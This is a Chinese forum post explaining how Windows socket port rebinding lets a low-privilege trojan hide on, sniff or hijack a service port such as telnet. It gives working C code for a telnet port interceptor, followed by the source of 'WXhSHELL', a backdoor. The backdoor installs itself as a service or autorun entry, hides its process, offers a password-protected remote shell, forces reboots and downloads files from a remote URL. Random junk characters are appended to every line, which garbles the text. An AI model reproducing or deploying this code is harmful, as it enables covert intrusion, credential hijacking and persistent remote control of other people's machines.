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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  \G)F*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h~CLJoK<  
2P^qZDG 8I  
  saddr.sin_family = AF_INET; Wi!"V cn  
TXyiCS3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Px*<-t|R-  
djw\%00&#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lsOfpJ  
n{etDO  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (dQ=i  
,d*hhe  
  这意味着什么?意味着可以进行如下的攻击: 1iLU{m9  
L1DH9wiQi  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 bX:h"6{=R  
q3h& V  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) dT?3Q;>B?  
z5~W >r  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f.66N9BHL,  
:-Py0{s  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  dVHbIx  
R1w5,Zt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :{lP9%J-  
+w?R4Sxjn  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 IPYwUix  
[2Nux0g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s/C'f4  
LGW_7&0<<  
  #include &(32s!qH  
  #include NW 2`)e'  
  #include ^eO/?D8~h  
  #include    ,5ZQPICF  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )7 8T+7Kq  
  int main() ]cmX f  
  { uZ JfIC<>  
  WORD wVersionRequested; g|$;jQ\_  
  DWORD ret; \M._x"  
  WSADATA wsaData; ybJwFZ80  
  BOOL val; NT5'U  
  SOCKADDR_IN saddr; j4 #uj[A  
  SOCKADDR_IN scaddr; PR$;*|@  
  int err; ^i!6z2/  
  SOCKET s; v0E6i!D/  
  SOCKET sc; EEL3~H{(  
  int caddsize; #C?M-  
  HANDLE mt; hKWWN`;b !  
  DWORD tid;   =EA:fq  
  wVersionRequested = MAKEWORD( 2, 2 ); oo7}Hg>  
  err = WSAStartup( wVersionRequested, &wsaData ); xY!ud)  
  if ( err != 0 ) { Nf3UVK8LtS  
  printf("error!WSAStartup failed!\n"); 4sn\UuKyL  
  return -1; ?7LvJ8  
  } *x;4::'Jn  
  saddr.sin_family = AF_INET; :N$-SV  
   r-.@MbBm  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h"0)spF"d  
u5glKE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); h ! R=t  
  saddr.sin_port = htons(23); ArNQ}F/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "2sk1  
  { N8#j|yf  
  printf("error!socket failed!\n"); 51#OlvD  
  return -1; lG94^|U  
  } A( vdlj  
  val = TRUE; N 1Ag .  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6b'.WB]-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `V\?YS}  
  { =D Q :0w  
  printf("error!setsockopt failed!\n"); p&]V!O  
  return -1; 1hGj?L0m.  
  } X<[ qX*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |3@DCb T  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9_O4 yTL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 23>[-XZb[O  
lNa+NtQu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1nskf*Z  
  { %>i:C-l8  
  ret=GetLastError(); u YT$$'S  
  printf("error!bind failed!\n"); ';/J-l/SE  
  return -1; /kkUEo+  
  } /YF:WKr2  
  listen(s,2); 'D ?o^  
  while(1) oR=i5lAU  
  { c AEvv[  
  caddsize = sizeof(scaddr); .\^0RyJE  
  //接受连接请求 Hy[: _E  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8SKrpwy  
  if(sc!=INVALID_SOCKET) ~S\L(B(  
  { % |D)%|Z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0x!&>  
  if(mt==NULL) BU/A\4xQ,Y  
  { V<I(M<Dj  
  printf("Thread Creat Failed!\n"); ty0P9.Q  
  break; ;t\h"K<,|  
  } SNH 3C1  
  } #Q^" .#  
  CloseHandle(mt); }\7UU?@n  
  } ~!r;?38V`  
  closesocket(s); 4#03x:/<\  
  WSACleanup(); =ZIT!B?4  
  return 0; f=R+]XPzz  
  }   gaY&2  
  DWORD WINAPI ClientThread(LPVOID lpParam) d"#Zp&#  
  { j"69uj` R  
  SOCKET ss = (SOCKET)lpParam; `<X-3)>;G  
  SOCKET sc; !sm/BsmL7T  
  unsigned char buf[4096]; !V37ePFje  
  SOCKADDR_IN saddr; V<0iYi;4=  
  long num; CPP~,E_  
  DWORD val; cZ?QI6|[  
  DWORD ret; 8v& \F  
  //如果是隐藏端口应用的话,可以在此处加一些判断 rXX>I;`&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   D'#Q`H  
  saddr.sin_family = AF_INET; 1I9v`eT4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <GNLDpj  
  saddr.sin_port = htons(23); S v>6:y9?G  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "[|b,fxR  
  { e}e8WR=B  
  printf("error!socket failed!\n"); ns8s2kYcm  
  return -1; x 6`!  
  } }bjZeh.  
  val = 100; FoyYWj?,R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ' {,xQf*x  
  { cj8cV|8@  
  ret = GetLastError(); zzQWHg]/  
  return -1; Lqj Qv$  
  } U4pIRa)S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !SQcV'  
  { |/*Pimk  
  ret = GetLastError(); F`nQS&y  
  return -1; Z nc(Q  
  } eyJ07  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) GlAI~\A  
  { p?:5 U[KM  
  printf("error!socket connect failed!\n"); 5:h[%3'bB  
  closesocket(sc); cqNK`3:.j  
  closesocket(ss); ((k"*f2%  
  return -1; c~Ka) dF|  
  } 7w/IHML  
  while(1) #dA$k+3  
  { \WCQ>c?~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v~P,OP("c  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 o|(5Sr&H  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Dsg>~J'  
  num = recv(ss,buf,4096,0); 3yZmW$E.  
  if(num>0) ;!4gDvm  
  send(sc,buf,num,0); M<fhQJ  
  else if(num==0) z*eBjHbF  
  break; smQ^(S^  
  num = recv(sc,buf,4096,0); K T}  
  if(num>0) &r5q,l&@n  
  send(ss,buf,num,0); 5yy:JTAH5  
  else if(num==0) `C+<! )2  
  break; @!#e\tx  
  } T pkSY`T  
  closesocket(ss); 86r5!@WN  
  closesocket(sc); KQdIG9O+6  
  return 0 ; L_8zZ8 o  
  } $7S"4rou  
k"(]V  
|7s2xRc  
========================================================== bmfM_oz  
@c3xUK   
下边附上一个代码,,WXhSHELL W(s4R,j  
QU|_ r2LM  
========================================================== a:h<M^n049  
|"3<\$[  
#include "stdafx.h" I{`70  
wHc my  
#include <stdio.h> HGDrH   
#include <string.h> l90mM'[  
#include <windows.h> (jgk! 6  
#include <winsock2.h> Ej(J j\  
#include <winsvc.h> :HkBP90o  
#include <urlmon.h> 2@&r!Q|1vR  
|\5^ub,m  
#pragma comment (lib, "Ws2_32.lib") 0lfK} a  
#pragma comment (lib, "urlmon.lib") >H2`4]4]  
BX,)G HE  
#define MAX_USER   100 // 最大客户端连接数 Aw o)a8e  
#define BUF_SOCK   200 // sock buffer (yOkf-e2y  
#define KEY_BUFF   255 // 输入 buffer ~C.*Vc?|  
0+1wi4wy/  
#define REBOOT     0   // 重启 1uw#;3<L  
#define SHUTDOWN   1   // 关机 E9HMhUe  
CLb6XnkcA\  
#define DEF_PORT   5000 // 监听端口 ~GaGDS\V  
AZtS4]4G)  
#define REG_LEN     16   // 注册表键长度 a|aVc'j  
#define SVC_LEN     80   // NT服务名长度 tZrc4$D-  
kNEEu! G  
// 从dll定义API Lsmcj{1d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I2ek`t]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XpQOl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ykbg5Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u2V-V#jS  
*2'8d8>R%]  
// wxhshell配置信息 I5$P9UE+^9  
struct WSCFG { t8Zo9q>  
  int ws_port;         // 监听端口 ^NW[)Dq1<  
  char ws_passstr[REG_LEN]; // 口令 `2~>$Tr  
  int ws_autoins;       // 安装标记, 1=yes 0=no i=8iK#2 h  
  char ws_regname[REG_LEN]; // 注册表键名 @=Kq99=\U  
  char ws_svcname[REG_LEN]; // 服务名 }{aGh I~<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1gEH~Jmj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OW:*qY c;:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^4y]7 p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;SR ESW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FqKJids-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;t`  ?|  
EP;/[O  
}; !QUY (  
|D3u"Y!:^  
// default Wxhshell configuration Q M,!-~t  
struct WSCFG wscfg={DEF_PORT, &K)8  
    "xuhuanlingzhe", #Ondhy%h[  
    1, )Nv1_en<!  
    "Wxhshell", VSj!Gm0LB  
    "Wxhshell", ~xH&"1  
            "WxhShell Service", +Q*`kg'  
    "Wrsky Windows CmdShell Service", 7p&jSOY  
    "Please Input Your Password: ", XX;4A  
  1, 30Yis_l2h  
  "http://www.wrsky.com/wxhshell.exe", bdUPo+  
  "Wxhshell.exe" 2EY"[xK|  
    }; F /b`[  
]6&NIz`:,  
// 消息定义模块 snV*gSUH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t<%0eu|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D)_ C@*q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gwZ<$6  
char *msg_ws_ext="\n\rExit."; \ /-c)  
char *msg_ws_end="\n\rQuit."; .J#'k+>  
char *msg_ws_boot="\n\rReboot..."; aD/Rr3v>  
char *msg_ws_poff="\n\rShutdown..."; ]n ?x tI  
char *msg_ws_down="\n\rSave to ";  w-jElV  
0MQ= Rt  
char *msg_ws_err="\n\rErr!"; #F*|@  
char *msg_ws_ok="\n\rOK!"; o3ZN0j69|  
l/$GF|`U  
char ExeFile[MAX_PATH]; _Fb}zPU!  
int nUser = 0; JFq wC=-  
HANDLE handles[MAX_USER]; NOz3_k  
int OsIsNt; XGlt^<`  
eh# 37*-  
SERVICE_STATUS       serviceStatus; yIw}n67  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^}3^|jF  
<QtZ6-;_f  
// 函数声明 fF:57*ys  
int Install(void); BT{;^Hp  
int Uninstall(void); J=V  
int DownloadFile(char *sURL, SOCKET wsh); gmTBT#{6yH  
int Boot(int flag); wZrFu(_  
void HideProc(void); xQ?>72grP  
int GetOsVer(void); g14*6O:  
int Wxhshell(SOCKET wsl); #kg`rrF r  
void TalkWithClient(void *cs); _iwG'a[`  
int CmdShell(SOCKET sock); 4" @<bKx  
int StartFromService(void); aCQtE,.  
int StartWxhshell(LPSTR lpCmdLine); N gNGq\!  
Hg+<GML  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P{L=u74b{x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7GA8sK  
Wj{lb_Rj  
// 数据结构和表定义 B|(g?  
SERVICE_TABLE_ENTRY DispatchTable[] = ! VwU=5  
{ \j)Evjw  
{wscfg.ws_svcname, NTServiceMain}, -K"'F`;W  
{NULL, NULL} }v1wpv/b(  
}; &K[*vyD  
pjl%Jm  
// 自我安装  CB7dr&>  
int Install(void) =j]y?;7q  
{ w+o5iPLX  
  char svExeFile[MAX_PATH]; ];r! M0  
  HKEY key; {f*Y}/@  
  strcpy(svExeFile,ExeFile); \BOoY#!a  
,|%KlHo^  
// 如果是win9x系统,修改注册表设为自启动 :\](m64z;  
if(!OsIsNt) { LS@TTiN   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s"(RdJ-,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *k$[/{S1-  
  RegCloseKey(key); ~cz}C("Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !}*N';  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,(jJOFf  
  RegCloseKey(key); {1GJ,['qL  
  return 0; ;qx#]Z0 <  
    } 8&QST!JGSX  
  } C|{Sj`,XG  
} P jQl(v&O  
else { LPs%^*8(2  
b#2)"V(  
// 如果是NT以上系统,安装为系统服务 uLms0r\@!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); za l]t$z>  
if (schSCManager!=0) IrwQ~z3I  
{ y@LImiRG  
  SC_HANDLE schService = CreateService J%|?[{rO{'  
  ( U}2@  
  schSCManager, 7T[~~V^x  
  wscfg.ws_svcname, 0Q3U\cDr  
  wscfg.ws_svcdisp, PA2} 4`  
  SERVICE_ALL_ACCESS, I2}W/}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0AZ9I!&i  
  SERVICE_AUTO_START, |T#cq!  
  SERVICE_ERROR_NORMAL, .=y=Fv6X  
  svExeFile, 0 9H rn  
  NULL, D#jwI,n}x  
  NULL, 9#E *o~1  
  NULL, Khq\@`RaT  
  NULL, ci,(]T +!  
  NULL e8,_"_1 :F  
  ); "tEp8m  
  if (schService!=0) 1N5 E  
  { wl=tN{R  
  CloseServiceHandle(schService); NP>v @jO  
  CloseServiceHandle(schSCManager); SH*'<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^Z (cV g  
  strcat(svExeFile,wscfg.ws_svcname); /E>;O47a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f5}afPk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Gz`Jzh j  
  RegCloseKey(key); X)g X9DA  
  return 0; cIug~ x>  
    } --HDEc|  
  } KdNo'*;U]_  
  CloseServiceHandle(schSCManager); (}#&HE<  
} b,~'wm8:A  
} IRW0.'Dn  
b1xE;0uR  
return 1; Y;af|?U*6:  
} f/\!=sa:  
8 Ku9;VEk  
// 自我卸载 'afW'w@  
int Uninstall(void) xvGYd,dlK  
{ _KRnx-  
  HKEY key; =lNW1J\SW  
V[ UOlJ  
if(!OsIsNt) { @Z]0c=-+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bR`5g  
  RegDeleteValue(key,wscfg.ws_regname); (lsG4&\0F  
  RegCloseKey(key); b+s'B4@rb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -]EL|_;  
  RegDeleteValue(key,wscfg.ws_regname); q/U-WQ<+  
  RegCloseKey(key); F6{g{ B  
  return 0; 1N/4W6  
  } <Qq {&,Le  
} TtJX(N~  
} He_O+[sc  
else { H UJqB0D ?  
"jZZ>\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a-5UG#o  
if (schSCManager!=0) at>_EiS  
{ T*p7[}#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _ep&`K  
  if (schService!=0) [[T7s(3  
  { ueg%yvO  
  if(DeleteService(schService)!=0) { \Y xG  
  CloseServiceHandle(schService); l@Lk+-[D  
  CloseServiceHandle(schSCManager); 6O4 *OR<&  
  return 0; iBE|6+g~Cj  
  } DLwlA !z  
  CloseServiceHandle(schService); piIZ*@'  
  } t%@iF U;}  
  CloseServiceHandle(schSCManager); b~;:[ #  
} I!zoo[/)%  
} GEPWb[Oa  
`n+uA ~  
return 1; !&%KJS6p4  
} pI@71~|R  
<h(AJX7wsD  
// 从指定url下载文件 fWP]{z`  
int DownloadFile(char *sURL, SOCKET wsh) cfmwz~S6i  
{ f:j:L79}  
  HRESULT hr; yf{\^^ i(  
char seps[]= "/"; 4Q+,_iP  
char *token; _0[z xOI  
char *file; NK-}[!f  
char myURL[MAX_PATH];  v9T 3=  
char myFILE[MAX_PATH]; 8;M,l2pmR{  
\t{iyUxY  
strcpy(myURL,sURL); Jq1oQu|rs  
  token=strtok(myURL,seps); 6@aH2+4+  
  while(token!=NULL) CI+)0=`<1B  
  { &UDbH* !4=  
    file=token; G-CL \G\n  
  token=strtok(NULL,seps); D(z#)oDr  
  } U& GPede  
mmQC9nZ  
GetCurrentDirectory(MAX_PATH,myFILE); tFcQ.1  
strcat(myFILE, "\\"); ( w4XqVT  
strcat(myFILE, file); y^r'4zN'  
  send(wsh,myFILE,strlen(myFILE),0); X&Oo[Z  
send(wsh,"...",3,0); u`EK^\R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); azZ|T{S  
  if(hr==S_OK) uNewWtUb(  
return 0; mB2}(DbhE  
else (R=ZI  
return 1; #h ud_  
,):aU  
} I/'>MDB!  
!fs ~ >  
// 系统电源模块 %g*nd#wG  
int Boot(int flag) K-YxZAf  
{ 9#H0|zL  
  HANDLE hToken; /5%'q~  
  TOKEN_PRIVILEGES tkp; 2k!uk6  
&[`2 4Db  
  if(OsIsNt) { }[%F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .(&6gB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +R?E @S  
    tkp.PrivilegeCount = 1; 52^3N>X4X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^uX"04>;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?23J(;)s  
if(flag==REBOOT) { )^UqB0C6^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dLQp"vs$  
  return 0; +:m)BLA4l  
} lf\"6VIsR  
else { /XG7M=A$o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i~GW  
  return 0; t<`wK8)  
} E.yFCaL  
  } +;H=_~b  
  else { `-nSH)GBM  
if(flag==REBOOT) { bSM|"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kW+>"3  
  return 0; =Q"thsR  
} <S_0=U  
else { kFJ]F |^7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7<kr|-  
  return 0; w2$ L;q  
} +VIEDV+   
} [p\xk{7Y  
%AV3eqghCg  
return 1; UB] tKn  
} depCqz@  
"= s dn  
// win9x进程隐藏模块 d+Mogku2  
void HideProc(void) *{JD= ua  
{ =5:vKL j  
d*!H&1L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `zs@W  
  if ( hKernel != NULL ) _2k<MiqCD[  
  { GDj_+G;tO\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 57 Vn-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9U9ghWH8  
    FreeLibrary(hKernel); h1)+QLI  
  } +vFqHfmP  
q89yW)XG  
return; a"+VP>4  
} b6g9!  
9~,!+#  
// 获取操作系统版本 i(u zb<  
int GetOsVer(void) AED 9vDE  
{ D9(4%^HxV1  
  OSVERSIONINFO winfo; uPFbKSJj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,gP;XRe1  
  GetVersionEx(&winfo); .>`7d=KT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EZQ!~  
  return 1; q9(O=7O]-  
  else E?0RR'  
  return 0; Nf~B 1vkp  
} *nM.`7g*[  
~9f Ts4U  
// 客户端句柄模块 Z,3CMWHg  
int Wxhshell(SOCKET wsl) G*v,-O  
{  wMH13i3  
  SOCKET wsh; ;r;>4+zn\  
  struct sockaddr_in client; I tn?''~;  
  DWORD myID; +SRM?av  
p8y<:8I  
  while(nUser<MAX_USER) I1ibrn  
{ yC }x6xG  
  int nSize=sizeof(client); fQU_A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a.<!>o<t:  
  if(wsh==INVALID_SOCKET) return 1; '?|.#D#-c  
OUHd@up@n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Qe<c@i"  
if(handles[nUser]==0) @[(%b{TE;  
  closesocket(wsh); :Ea ]baM"  
else {-IRX)m*  
  nUser++; YkV-]%c  
  } %D^j7`Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :)e/(I]  
Yh%  
  return 0; 4_eFc$^  
} =2wy;@f  
x(zW<J5X"  
// 关闭 socket 3'Z+PPd!  
void CloseIt(SOCKET wsh) U&tR1v'  
{ Bsz;GnD|r  
closesocket(wsh); a'@?c_y;$  
nUser--; aG1[85:,\i  
ExitThread(0); c_2kHT  
} RK]."m0c~#  
'$OLU[(Y  
// 客户端请求句柄 TLzcQ|  
void TalkWithClient(void *cs) 6~+?DIc  
{ *Oe;JqQkK  
Lop=._W  
  SOCKET wsh=(SOCKET)cs; VM ny>g&3  
  char pwd[SVC_LEN]; #`Et{6W S  
  char cmd[KEY_BUFF]; \=g%W^i  
char chr[1]; r(=3yd/G$  
int i,j; 01^W Py9l  
@l2AL9z$m>  
  while (nUser < MAX_USER) { "2/VDB4!FG  
1<9m^9_ro  
if(wscfg.ws_passstr) { -Kf'02  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4VL]v9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7<ES&ls_  
  //ZeroMemory(pwd,KEY_BUFF); q} R"  
      i=0; |7T!rnr  
  while(i<SVC_LEN) { /9yA.W;  
T1b9Zqc)f  
  // 设置超时 =mk7'A>l  
  fd_set FdRead; 3?(||h{  
  struct timeval TimeOut; `S7${0e  
  FD_ZERO(&FdRead); w4+bzdZ  
  FD_SET(wsh,&FdRead); kjW`k?'s  
  TimeOut.tv_sec=8; IF*kLl?  
  TimeOut.tv_usec=0; :@X@8j":  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8eoDE. }  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Vi>kK|\b  
@{n2R3)k B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KH&xu,I  
  pwd=chr[0]; 2? 7a\s  
  if(chr[0]==0xd || chr[0]==0xa) { C44 Dz.rs  
  pwd=0; dkf?lmC+M  
  break; K`1\3J)  
  } WaWx5Fx+  
  i++; 9X{aU)"omQ  
    } t UW'E  
}%rz"kB  
  // 如果是非法用户,关闭 socket P8s'e_t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4d3PF`,H`  
} 7"y"%+*/  
]urcA,a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N|1k6g=0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  /m*vY`  
akQtre`5sd  
while(1) { Hw/1~O$T  
'm"H*f  
  ZeroMemory(cmd,KEY_BUFF); !-4pr[C  
C`x>)wm:  
      // 自动支持客户端 telnet标准   7b T5-=.  
  j=0; ;z7iUke0%  
  while(j<KEY_BUFF) { 'bg%9}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9W7H",wR  
  cmd[j]=chr[0]; B)"WG7W E  
  if(chr[0]==0xa || chr[0]==0xd) { T ~t%3G  
  cmd[j]=0; 6q8qq/h)  
  break; { lLUZM  
  } U=%S6uL\bx  
  j++; fr\UX}o  
    } @,sg^KB  
Nr7MSFiL  
  // 下载文件 p<6pmW3  
  if(strstr(cmd,"http://")) { z{^XU"yB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TaB35glLY  
  if(DownloadFile(cmd,wsh)) ?Zoq|Q+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (N43?iv(  
  else H1=R(+-s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $0K9OF9$  
  } I\DT(9 'E  
  else { crC];LMl/  
ZWVcCa 3  
    switch(cmd[0]) { /gHRJ$2|Sx  
  82V xk  
  // 帮助 eA_1?j]E3  
  case '?': { <  v_?}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2Sb~tTGz79  
    break; f5/ba9n I  
  } ^yu^Du  
  // 安装 4F 8`5)RM  
  case 'i': { .)u,sYZA|  
    if(Install()) |)IN20  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T.W/S0#j3  
    else iygdX2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8'#%7+ "=!  
    break; R{6.O+j`  
    } T cSj `-  
  // 卸载 e[n T'e  
  case 'r': { <<&:BK   
    if(Uninstall()) 3QS"n.d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Fuxj!gF  
    else "v~w#\pz7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E<&VK*{zcO  
    break; Ctt{j'-[  
    } 1p9f& w  
  // 显示 wxhshell 所在路径 '(u[  
  case 'p': { ~&4,w9b)j  
    char svExeFile[MAX_PATH]; it>FG9hVo  
    strcpy(svExeFile,"\n\r"); mKnkHGM  
      strcat(svExeFile,ExeFile); C `knFGb  
        send(wsh,svExeFile,strlen(svExeFile),0); CWI(Q`((>  
    break; XX}RbE#4  
    } UXa3>q>  
  // 重启 (g~&$&pa  
  case 'b': { rxCu V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^X0<ZI  
    if(Boot(REBOOT)) lcIX l&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 59T:{d;~  
    else {  HPwmi[  
    closesocket(wsh); 8u;l<^<  
    ExitThread(0); rmR7^Ycv/  
    } %qfEFhRC  
    break; >48zRi\N  
    } 8<?60sj  
  // 关机 "PJ@Q9n__  
  case 'd': { 0-4WLMx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]rHdG^0uss  
